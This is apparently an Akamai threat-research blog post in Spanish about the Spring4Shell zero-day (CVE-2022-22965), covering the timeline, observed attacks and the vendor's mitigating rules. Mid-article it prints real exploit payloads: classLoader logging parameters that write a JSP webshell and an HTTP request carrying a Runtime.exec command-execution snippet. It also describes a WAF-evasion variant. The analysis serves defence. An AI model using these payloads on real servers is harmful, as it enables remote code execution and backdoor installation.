Mitigación de Spring Core “Spring4Shell” Zero-Day

El 30 de marzo de 2022, la comunidad de seguridad detectó las vulnerabilidades relacionadas con Spring, el popular marco Java de código abierto. Nuestro motor localizó ataques de día cero en esta vulnerabilidad y los clientes pudieron estar protegidos.

Lamentablemente, el cronograma de divulgación de vulnerabilidades y otra información que llegó de forma informal crearon bastante confusión sobre lo que estaba sucediendo. Intentaré poner algo de luz sobre el tema.

Hay dos vulnerabilidades separadas relacionadas con los productos Spring:

•             CVE-2022-22963 era una vulnerabilidad en Spring Cloud Function (tecnología sin servidor de código abierto) que se parchó el 24 de marzo y se pusieron a disposición explotaciones públicas.

•             Otra vulnerabilidad en Spring Core, denominada "Spring4Shell", asignada CVE-2022-22965. Se considera que la vulnerabilidad de Spring Core tiene un mayor impacto, ya que afecta a la biblioteca principal y, por lo tanto, todos los proyectos de Spring se ven potencialmente afectados. Sin embargo, existe una discusión sobre la explotabilidad de esta vulnerabilidad, ya que requiere una configuración especial que incluso los desarrolladores de Spring advierten explícitamente sobre su inseguridad. Profundizaremos en los detalles de esta vulnerabilidad ahora para aportar algo de claridad.

El mismo día que estuvo disponible el exploit para Spring Core ("Spring4Shell") (30 de marzo), comenzamos a ver intentos de explotación.

Fuente: Akamai Web Security Analytics de un cliente específico

Algunos estos primeros intentos fueron atacantes que intentaban implementar un webshell (un archivo de puerta trasera de control remoto basado en la web), al que los atacantes podían acceder más tarde y ejecutar comandos arbitrarios en el servidor, lo que podría infectar el servidor con otro malware o propagarse dentro de la red de destino.

Otros intentos fueron empresas que se probaron a sí mismas contra la vulnerabilidad.

Estos son algunos ejemplos de las cargas útiles de ataque que hemos visto:

Hay varias formas de explotar la vulnerabilidad de Spring Core, pero en cada una de las variantes, la solicitud de explotación reconfigura los parámetros de registro. De esta forma, los atacantes configuran el nombre de la página webshell, la extensión del archivo y el directorio en el que se escribirá:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d

class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Tenga en cuenta que el contenido del archivo decodificado en URL en el parámetro class...first.pattern es %{f}i.

Mientras que el valor de f que se evalúa (por %{}) se toma del encabezado HTTP denominado f.

OBTENER /aaa HTTP/1.1

Anfitrión: 127.0.0.1:8080

Agente de usuario: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, como Gecko) Chrome/99.0.7113.93 Safari/537.36

Aceptar: texto/html,aplicación/xhtml+xml,aplicación/xml;q=0.9,imagen/avif,imagen/webp,*/*;q=0.8

f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>

Aceptar idioma: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Aceptar codificación: gzip, deflate

Conexión: cerrar

Solicitudes inseguras de actualización: 1

Sec-Fetch-Dest: documento

Sec-Fetch-Mode: navegar

Sec-Fetch-Sitio: ninguno

Sec-Fetch-Usuario: ?1

El primer exploit de prueba de concepto fue publicado por un investigador antes de que se hiciera cualquier comunicación formal de los desarrolladores de Spring, y ahí es donde comenzó la confusión. El investigador lo quitó de inmediato. Sin embargo, el exploit ya se filtró y también estaba disponible en el portal vx-underground (comunidad de investigadores de seguridad).

Luego, el exploit apareció nuevamente, mientras que comenzó como una variante y cambió a una versión más compacta. La principal diferencia entre las variantes es si los parámetros vulnerables se establecen a través de parámetros POST o en una solicitud GET a través de una cadena de consulta. El segundo cambio fue reducir la cantidad de solicitudes enviadas al servidor a una sola.

La segunda versión del exploit también incluye un WAF potencial o evasión de filtrado de entrada, mientras ofusca los patrones de código sensibles que esos controles de seguridad suelen buscar, como <%, %> y Runtime.getRuntime(). El contenido del archivo webshell cargado incluye marcadores de posición que Spring reemplazará con el contenido de los valores de encabezado correspondientes.

Por lo tanto, %{suffix}i en el contenido de class...first.pattern será reemplazado por %>// que es el valor del encabezado HTTP del sufijo.

Nuestros clientes están protegidos. Nuestro motor de seguridad adaptable pudo detectar este día cero de Spring Core con las reglas de inyección de comandos existentes:

•             3000023 - Ejecución remota de código de manipulación de ClassLoader de Apache Struts

Otros conjuntos de reglas de Kona Site Defender mitigan esta vulnerabilidad:

•             Grupo de ataque automatizado:

o             1000005 - Inyección de comandos

•             Conjunto de reglas de Kona:

o             3000023 - Ejecución remota de código de manipulación de ClassLoader de Apache Struts

La vulnerabilidad Spring Core/“Spring4Shell” tiene el potencial de afectar a muchas organizaciones debido a la baja barra para explotarla. Y anticipamos que los actores de amenazas adaptarán esta vulnerabilidad, lanzando campañas para cryptomining, DDoS, ransomware y como un boleto de oro para ingresar a las organizaciones durante los próximos años. Afortunadamente nuestros clientes están protegidos

Nuestro equipo de investigación de amenazas está monitorizando la explotación de esta vulnerabilidad y se actualizará a medida que aparezcan nuevas variantes.

Federico Dios, pre-sales senior manager, Akamai Technologies